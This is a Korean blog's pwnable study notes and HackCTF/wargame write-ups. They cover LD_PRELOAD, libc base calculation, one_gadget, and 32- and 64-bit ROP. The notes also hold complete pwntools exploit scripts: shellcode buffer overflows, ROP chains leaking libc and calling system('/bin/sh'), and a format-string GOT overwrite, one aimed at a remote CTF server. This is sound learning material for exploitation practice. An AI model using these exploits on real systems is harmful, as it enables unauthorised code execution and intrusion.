728x90

워게임을 풀고 다른 유저의 풀이를 구경하다가 또 하나 배웠습니다 :) 

 

바이너리 파일을 실행시키면, 라이브러리를 사용하고, 이 과정에서 환경변수를 참조합니다.

 

이 과정에서 라이브러리의 환경변수 포인터가 스택 내부를 가르키고 있는 경우도 있죠. (항상 그런건 아닌것같은데 이 부분은 아직 자세하게 모릅니다)

 

이때 LD_PRELOAD라는 개념이 나오는데, 이렇게 로드된 라이브러리는 기존 라이브러리와 중복된 이름의 함수가 있을경우, LD_PRELOAD에 로드된 라이브러리를 우선으로 가져옵니다.

 

(모든 프로그램에 이게 가능하다면 너무 취약하겠죠? 원하는 라이브러리를 가져온다 하면 의도적으로 취약한 라이브러리를 가져올 수 있고, 후킹또한 가능할것입니다.

이를 막기 위한 방법은 setUID 설정입니다. 간단하게 임시적으로 root권한을 주는 기능인데, 이 또한 보안상으로 취약한 부분이 있지만, 넘어가겠습니다.)

 

 

결론!!!

 

??? : pwntool에서, ABC라는 바이너리파일을 libc.so.6라는 특정한 라이브러리로 실행하고 싶습니다.

 

>>

p = process('./ABC', env = {'LD_PRELOAD':'./libc.so.6'})

 

 

 

728x90

'pwnable' 카테고리의 다른 글

libc_base 구하기..?  (0) 2021.04.01
one_gadget  (0) 2021.04.01
ROP(64bit)  (0) 2021.03.31
ROP(32bit)  (0) 2021.03.30
ROP에 대하여  (0) 2021.03.30
728x90

아직 완성되지 않은 글입니다. 경험이 많이 없거든요

 

stdout, stdin의 주소나 어떠한 libc안의 함수의 주소가 노출되었을때, libc_base의 주소를 구할 수 있습니다.

 

libc_base의 주소를 구하면, offset을 안다는 가정하에 libc내의 함수를 사용할 수 있습니다.

 

이걸 왜 알아야 하냐면,  모든 프로그램은 라이브러리 함수를 사용할때, ASLR이라는 기법이 사용되어 주소가 랜덤으로 바뀐다고 합니다. (libc덩어리 자체가 랜덤으로 움직입니다.)  이게 우회되는 이유는, 모든 주소가 랜덤으로 바뀌는게 아니라 전체가 하나의 랜덤값으로 움직이기 때문에 offset을 안다면 우회할 수 있습니다.

 

예를 들어 stdout의 주소값이 노출되었다고 하면, 

libc_base_addr = stdout_addr - libc.symbols['_IO_2_1_stdout_']

이처럼 구할 수 있습니다. 

 

참고 글

 

xerxes-break.tistory.com/302

 

pwntools를 이용해서 libc에서 함수 및 stdin,stdout 오프셋구하기

lib = ELF("라이브러리") lib.symbols['함수명'] 으로 offset값을 얻어올 수 있다. 여기서 stdout이나 stdin의 offset을 구할때 그냥 lib.symbols['stdout']이나 lib.symbols['stdin']으로 해서 offset을 구해서 s..

xerxes-break.tistory.com

stdout의 주소가 이상하게 생겼는데 저걸 어떻게 아냐고요?    

 

현재 제가 하는 공부들은 모두 오픈소스로도 가능한 난이도입니다. 구글링으로 해결됩니다! 

 

objdump -D [libc] | grep "키워드"

objdump 명령어 참고 글

 

m.blog.naver.com/PostView.nhn?blogId=s2kiess&logNo=220066239893&proxyReferer=https:%2F%2Fwww.google.com%2F

 

objdump 명령어

굳이 설명할 것도 없다. 오브젝트 파일을 덤프하는 툴이다.objdump는 무조건 하나 이상의 플래그 옵션을 주...

blog.naver.com

ASLR은 따로 해제를 할 수 있는 보호기법이지만, 지금 제가 푸는 문제들은 왠만하면 걸려있더라구요. 

 

ASLR을 우회하는 방법은 libc_base 입니다. 명심하겠습니다!

728x90

'pwnable' 카테고리의 다른 글

바이너리 파일을 다른 버전의 libc로 실행 (pwntool)  (0) 2021.04.01
one_gadget  (0) 2021.04.01
ROP(64bit)  (0) 2021.03.31
ROP(32bit)  (0) 2021.03.30
ROP에 대하여  (0) 2021.03.30
728x90
sudo apt install ruby-full
sudo gem install one_gadget

(Ubuntu 18.04 기준입니다)

 

 

사용법

one_gadget [binary]

정확히 어떤 상황에 어떤 gadget을 써야하는지는 아직 모르겠지만, 다 대입해서 문제를 풀었습니다 :)

 

해당 gadget으로 리턴하면, 해당 구문 (execve("/bin/sh", rsp+0x30, environ))이 실행되면서 쉘에 접속합니다.

 참고 글

chp747.tistory.com/114

 

ubuntu one_gadget 설치하기 (feat. rvm, ruby, gem)

으아아아아아아아ㅏ아아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ 원가젯 겨우 설치햇다. ubuntu 16.04 > sudo apt-get install software-properties-common > sudo apt-add-repository -y ppa:rael-gc/rvm > sudo apt-get update >..

chp747.tistory.com

만두 짱짱!

728x90

'pwnable' 카테고리의 다른 글

바이너리 파일을 다른 버전의 libc로 실행 (pwntool)  (0) 2021.04.01
libc_base 구하기..?  (0) 2021.04.01
ROP(64bit)  (0) 2021.03.31
ROP(32bit)  (0) 2021.03.30
ROP에 대하여  (0) 2021.03.30
728x90
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

main함수에서 buf의 크기보다 많이 읽고있고, NX가 걸려있습니다. 또한, 다른 함수는 주어지지 않았어요. 그러면 ROP로 풀어봅시다!

 

1. 함수 파악

ssize_t write (int fd, const void *buf, size_t nbytes);

write함수의 원형입니다. 파일의 데이터를 출력시키는 함수이고, buf에 있는 데이터를 출력시킵니다.

 

ssize_t read (int fd, void *buf, size_t nbytes);

read함수의 원형입니다. 파일의 데이터를 입력받는 함수이고, buf에 데이터를 저장합니다.

 

2. 풀이 방향

우선 system함수는 lib함수이기에 ASLR이 걸려있습니다. 주소를 모른다는거죠. 따라서 다른 함수의 주소를 구해 offset을 이용한 함수 주소를 구해줘야 합니다.

위의 문제에선 read함수가 처음으로 호출되므로 read함수의 got를 가져올 수 있습니다. 

(어떤 함수의 plt는 해당 함수의 got에 있는 주소를 참고해 이동하는데, 한번 이상 실행된 함수의 got만이 실제 주소를 가지고 있습니다. 한번 미만으로 실행된 함수는 다른 과정을 한번 걸쳐서 주소를 로드하는데, 지금은 그냥 넘어갑니다.)

 

1)지금 libc에서 인자 3개를 넘겨주는 gadget이 안보이므로 인자 1개만 넘겨주는 puts를 사용해 read_got를 출력시킵니다

2) offset을 구했다면 문자열 '/bin/sh\x00'의 주소를 system 함수의 인자로 넘겨줍니다.

 

3. 준비물

read_got (.got['read'])

puts_plt(.plt['puts'])

libc 의 system, read 함수 주소 (libc안에서의 offset을 구하기 위함)

libc의 /bin/sh\x00 문자열의 주소

pop rdi; ret주소 (puts함수의 인자는 하나)

 

4. 풀이

from pwn import *
#context.log_level='debug'
p = process("./rop_64bit")
elf = ELF("./rop_64bit")
libc = ELF("./libc.so.6")

puts_plt = elf.plt['puts']
read_got = elf.got['read']
main = elf.symbols['main']
offset1 = libc.symbols['read'] - libc.symbols['system']
offset2 = libc.symbols['read'] - list(libc.search('/bin/sh'))[0]
pr = 0x0000000000400883




payload = "a"*0x48 # go to ret
payload += p64(pr) + p64(read_got) + p64(puts_plt) + p64(main)

p.send(payload)
sleep(1)
read_addr = u64(p.recv()[-7:-1]+"\x00\x00")
#read_addr = u64(p.recv()[-8:])
system = read_addr - offset1
binsh = read_addr - offset2
print ("read_addr:   %s"%hex(read_addr))
print ("system_addr: %s"%hex(system))
print ("binsh_addr:  %s"%hex(binsh))
payload2 = "a"*0x48
payload2 += p64(pr) + p64(binsh) + p64(system)
p.send(payload2)
p.interactive()

728x90

'pwnable' 카테고리의 다른 글

libc_base 구하기..?  (0) 2021.04.01
one_gadget  (0) 2021.04.01
ROP(32bit)  (0) 2021.03.30
ROP에 대하여  (0) 2021.03.30
보호기법  (0) 2020.11.15
728x90
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

main함수에서 buf의 크기보다 많이 읽고있고, NX가 걸려있습니다. 또한, 다른 함수는 주어지지 않았어요. 그러면 ROP로 풀어봅시다!

 

1. 함수 파악

ssize_t write (int fd, const void *buf, size_t nbytes);

write함수의 원형입니다. 파일의 데이터를 출력시키는 함수이고, buf에 있는 데이터를 출력시킵니다.

 

ssize_t read (int fd, void *buf, size_t nbytes);

read함수의 원형입니다. 파일의 데이터를 입력받는 함수이고, buf에 데이터를 저장합니다.

 

2. 풀이 방향

우선 system함수는 lib함수이기에 ASLR이 걸려있습니다. 주소를 모른다는거죠. 따라서 다른 함수의 주소를 구해 offset을 이용한 함수 주소를 구해줘야 합니다.

위의 문제에선 read함수가 처음으로 호출되므로 read함수의 got를 가져올 수 있습니다. 

(어떤 함수의 plt는 해당 함수의 got에 있는 주소를 참고해 이동하는데, 한번 이상 실행된 함수의 got만이 실제 주소를 가지고 있습니다. 한번 미만으로 실행된 함수는 다른 과정을 한번 걸쳐서 주소를 로드하는데, 지금은 그냥 넘어갑니다.)

 

1) write함수는 데이터를 출력시키므로, 해당 함수를 통해 read_got를 출력시킵니다. 

2) offset을 구했다면, 문자열 '/bin/sh\x00"을 어떠한 영역인 bss에 넣어줍니다.

3) write_got 값에 system함수의 주소를 넣어줍니다. 그럼 write함수를 실행시키면 실제론 system함수가 실행되겠죠.

4) 이제 write함수를 실행시키고, /bin/sh값이 들어있는 bss를 보내주면, 완성입니다!

 

3. 준비물

read_plt (.plt['read'])

read_got (.got['read'])

write_plt(.plt['read'])

write_got(.got['write'])

libc 의 system, read 함수 주소 (libc안에서의 offset을 구하기 위함)

bss주소

pop; pop; pop; ret gadget 주소 (read, write함수의 인자가 3개이므로)

 

4. 풀이

from pwn import *
p = process("./rop_32bit")
elf = ELF("./rop_32bit")
#libc = ELF("./libc.so.6")

#준비물
read_got = elf.got['read']
read_plt = elf.plt['read']
write_got = elf.got['write']
write_plt = elf.plt['write']
pppr =  0x8048689
bss =   0x0804a040
system_offset = elf.libc.symbols['read'] - elf.libc.symbols['system']
#해당 구문은 로컬에서 진행해서 따로 libc로 풀이하지 않았습니당 서버면 앞의 elf.을 지워야해요!

##############################################################################
payload = "a"*0x48 
#buf + sfp 값입니다

payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4)

#1. 'read'함수의 주소를 출력합니다 

payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)

#2. 사용자의 input을 bss에 저장합니다.

payload += p32(read_plt) + p32(pppr) + p32(0) + p32(write_got) + p32(4)

#3. 사용자의 input을 write_got에 저장합니다

payload += p32(write_plt) + "a"*4 + p32(bss)

#write함수를 실행시키고, exit()을 덮은 후 bss를 넣어줍니다
#write_plt >> system, bss >> bin/sh
#so system('/bin/sh\x00') , "a"*4 skips exit()

##############################################################################

p.send(payload)

sleep(1)
#계산할 시간을 줍시다

read_addr = u32(p.recv()[-4:])
system_addr = read_addr - system_offset

p.send('/bin/sh\x00')
#2번의 input입니다. bss에 저장되는 값
p.send(p32(system_addr))
#3번의 input입니다. write_got에 저장되는 값

p.interactive()

넵 끝났습니다!

 

+) 제가 어떤 libc를 쓰는지 문제풀다가 알았군요... m

728x90

'pwnable' 카테고리의 다른 글

one_gadget  (0) 2021.04.01
ROP(64bit)  (0) 2021.03.31
ROP에 대하여  (0) 2021.03.30
보호기법  (0) 2020.11.15
5  (0) 2020.10.16
728x90
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

해당 프로그램은 32비트 환경이고, buf의 크기보다 입력을 많이받아 bof가 일어나지만 NX와 내부 함수에 원하는 함수가 없기 때문에 곧바로 쉘을 딸 수 없습니다. 따라서 직접 쉘에 접속을 해주어야 하는데, 이때 ROP라는 기법을 사용합니다. 

 

#include <stdlib.h>

int system(const char *string);

해당 코드가 system함수의 원형입니다. include하는 부분은 자세히 다루지 않고 전달 인자를 봅시다.

system 함수는 하나의 '포인터'인자를 받습니다. 만약 'ls'라는 명령을 수행하고 싶으면 'ls' 문자열의 주소를 전달해야 합니다. 

물론 직접 프로그래밍하는 입장에선 자동으로 컴파일러가 전달을 해주겠지만, 컴파일러가 없어 수동으로 넣어줘야 합니다. (메모리에 'ls'라는 문자 두개를 넣어준다고 해서 마법이 일어나지 않는다는 말이죠@)

 

또한, 이 인자를 전달을 직접 해주어야 합니다. 우리가 문자열 'ls'와 system함수의 주소를 넣어줘도 둘 사이의 연결고리가 없기 때문에 독립적인 존재입니다. 

 

1. 연결고리?

우선 32비트 환경에선, 인자를 stack에 전달해주면 되기에 pop; pop; pop; ret 이 형태의 gadget을 써주면 됩니다.

64비트 환경에서는 인자가 레지스터에도 들어가기 때문에 pop rdi; ret 이 형태의 gadget을 써야합니다.

 

2. 어떻게 넣어야해

32비트와 64비트는 인자 전달 순서도 다릅니다.

ROP를 기준으로 말하면,  32비트는 "함수 호출 -> gadget -> 인자"이고 64비트는 "gadget -> 인자 -> 함수 호출"입니다. 

 

 

제가 작년에 rop문제를 접하고, 당시에는 워낙 하는게 많아서 반쯤 이해하고 그런가보다 하고 넘어갔었네요. 현명한 선택이였습니다 :D  사실 그 당시에 들었던 의문이 있었는데 ROP나 RTL문제를 풀다 보면 offset을 구해야 합니다. 따라서 libc파일을 주는 경우도 있는데, 어떤 함수는 libc에서 안보이고 어떤 함수는 libc에서 봐야만 합니다. 지금 생각하면 당연한 소리지만, 당시엔 뭔소린지 도통 모르겠고, 정확하게 뭘 모르는지도 몰라 대충 그런갑다 하고 넘어갔죠.

 

3. libc파일이 뭡니까?

아까 위에서 system함수의 원형을 봤는데, <stdlib.h>를 include하는 부분을 넘어갔었죠. 이 부분을 보고 system함수는 라이브러리 함수이구나~ 하는겁니다. include해주지 않으면 쓸 수 없는 함수입니다. 저 stdlib.h파일에 해당 함수가 구현되어 있겠죠.  그래서 문제를 푸실때 puts같은 함수는 그냥 실행파일에서 가져와도 되는데 system함수의 주소는 라이브러리에서 가져와야 합니다. 파일을 주면 거기서 찾고, 아니면 인터넷에서 찾아야죠. (/bin/sh 문자열도 마찬가지입니다)

 

이제 32비트 프로그램을 ROP로 풀어봅시다. 기출문제를 풀어보면서 공부하는게 짱이에요

 

 

728x90

'pwnable' 카테고리의 다른 글

ROP(64bit)  (0) 2021.03.31
ROP(32bit)  (0) 2021.03.30
보호기법  (0) 2020.11.15
5  (0) 2020.10.16
4  (0) 2020.10.16
728x90

1. 내 버퍼가 흘러넘친다!!!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 0x32u);
  printf("input : ");
  gets(&s);
  return 0;
}

전역변수 name에 shellcode를 넣고 gets에서 ret를 name의 주소로 조작했다.

from pwn import *
#p = remote(" ", )
p=process("./prob1")
elf=ELF("./prob1")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p.sendlineafter("Name :",shellcode)
p.sendlineafter("input :","a"*0x18 + p32(elf.symbols['name']))

p.interactive()

 

 

 

2. x64 Bufffer Overflow

ida가 있으면 어렵지 않은 문제.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s, argv);
  return 0;
}

그냥 거리가 달라졌을뿐이다

from pwn import *
p = process("./64bof_basic")
elf = ELF("./64bof_basic")
payload = "a"*0x118 + p64(elf.symbols['callMeMaybe'])
p.sendline(payload)
p.interactive()                                                            

 

 

 

3. x64 Simple_size_BOF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-6D30h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&s);
  printf("buf: %p\n", &v4);
  gets(&v4);
  return 0;
}

nx안걸려있음, buf주소를 줌 >> shellcode 넣고 ret를 buf주소로 덮자

from pwn import *

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz",3005)
p.recvuntil("buf: ")
buf_addr = int(p.recv(14),16)
print hex(buf_addr)
payload = shellcode + "\x90"*(0x6d38 - len(shellcode)) + p64(buf_addr)
p.sendline(payload)
p.interactive()

 

 

 

4. Simple_Overflow_ver_2

중간에 막혔었는데 이유가 다른 비트의 shellcode를 넣어서였다 ;; 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx
  char v5; // [esp+13h] [ebp-89h]
  char s[128]; // [esp+14h] [ebp-88h]
  int i; // [esp+94h] [ebp-8h]

  setvbuf(stdout, 0, 2, 0);
  v5 = 'y';
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\n]s", s) )
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break;
        if ( !(i & 0xF) )
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 'y' || v5 == 'Y') );
  return 0;
}

입력을 받으면서 주소를 알려주고, 다시 입력받을 수 있으므로 첫번째 입력엔 주소를 받고 후에 shellcode를 넣는다.

 

from pwn import *
p = process("./Simple_overflow_ver_2")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = shellcode + "\x90"*(0x8c-len(shellcode))

p.sendline("a")
p.recvuntil("Data : ")
buf_addr = int(p.recv(10),16)
print hex(buf_addr)
p.sendlineafter("(y/n): ","y")
payload += p32(buf_addr)


pause()


p.sendlineafter("Data : ",payload)
p.sendlineafter("(y/n): ","n")
p.interactive()

 

728x90

'pwnable > HackCTF' 카테고리의 다른 글

Rate 100  (0) 2021.03.09
728x90

1. Basic_BOF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != 3735928559 )
    puts("\nYou are on the right way!");
  if ( v5 == 3735928559 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

변수 s와 v5 사이의 거리가 40인데 45를 받고 있고 마침 충족시켜야하는 데이터 크기도 5바이트라서 단순하게 풀린다.

from pwn import *
p = process("./bof_basic")
payload = "a"*40 + p32(3735928559)
p.sendline(payload)
p.interactive()

 

2. Basic_BOF 2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

그냥 ret를 덮으려고 하니 거리는 136인데 input을 133개를 받아 불가능하다. 따라서 v5변수를 다른 주소로 덮었다.

(shell 주소가 주어짐)

from pwn import *
p=process("./bof_basic2")
elf=ELF("./bof_basic2")
payload = "a"*128 + p32(elf.symbols['shell'])
p.sendline(payload)
p.interactive()

3. Basic_fsb

int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}

첫 입력 다음 4바이트에서 첫 입력값을 가지고 있으므로 printf의 got를 flag함수의 주소로 바꿔준다.

printf got + %add(flag)x + %n

from pwn import *
p=process("./basic_fsb")
elf=ELF("./basic_fsb")
payload =  p32(elf.got['printf']) + "%134514096x" + "%n"
p.sendline(payload)
p.interactive()

 

728x90

'pwnable > HackCTF' 카테고리의 다른 글

Rate 150 (4문항)  (2) 2021.03.15

+ Recent posts